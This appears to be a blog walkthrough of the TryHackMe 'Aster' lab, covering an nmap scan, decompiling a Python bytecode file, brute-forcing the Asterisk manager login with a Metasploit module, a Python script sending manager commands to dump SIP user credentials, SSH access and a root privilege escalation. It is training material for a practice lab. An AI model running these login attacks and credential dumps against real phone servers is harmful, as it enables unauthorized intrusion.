Skip to content
TryHackMe1 min read

THM - Aster

Aster - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Aster#

bash
nmap -A -v -p- -T4 10.10.45.105

image1

image2

Download .pyc file (Python byte compiled file)

Running file on it shows the python version

image3

Decompile it with a decompiler like uncompyle6:

image4

image5

Change it:

image6

<u>Output:</u> Good job, user "admin" the open source framework for building communications, installed in the server. Good job reverser, python is very cool!Good job reverser, python is very cool!Good job reverser, python is very cool!

<u>Exploit:</u> https://www.hackingarticles.in/penetration-testing-on-voip-asterisk-server-part-2/

bash
msfconsole
use auxiliary/voip/asterisk_login

image7

User: "admin" Pass: "abc123"

  • Tried using telnet and nc but didn't work

  • Use the asterisk library in Python to connect to it:

python
from asterisk.ami import AMIClient, SimpleAction

# Connect to Asterisk Manager
client = AMIClient(address='10.10.98.61', port=5038)
client.login(username='admin', secret='abc123')

# Specify the Asterisk CLI command you want to execute
cli_command = 'help'

# Send a 'Command' action with the specified command
response = client.send_action(SimpleAction('Command', Command=cli_command))
print(response.get_response())

# Logout and close the connection
client.logoff()

image8

image9

Action: command Command: sip show users

image10

image11

We get the creds: harry : p4ss#w0rd!#

<u>Enumerating Specific User</u>

Action: command Command: sip show peer harry

image12

  • SSH onto the box with the credentials

image13

<u>Priv Esc:</u>

  • Use python -m http.server on the target machine to copy over Example.Root.jar
bash
jar -xf Example_root.jar

image14

image15

Download Java Decompiler - https://java-decompiler.github.io/

Open Example_Root.class in the decompiler

image16

bash
touch /tmp/flag.dat

image17

image18

bash
cat root.txt
TryHackMe3 min

THM - Chronicle

Chronicle (good ret2libc lab - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • linux
  • nmap
  • privilege escalation
  • python
TryHackMe5 min

THM - Bandit

Bandit - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • command injection
  • linux
  • nmap
  • powershell
  • privilege escalation
TryHackMe2 min

THM - Road

Road - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • linux
  • linux setuid
  • nmap
  • privilege escalation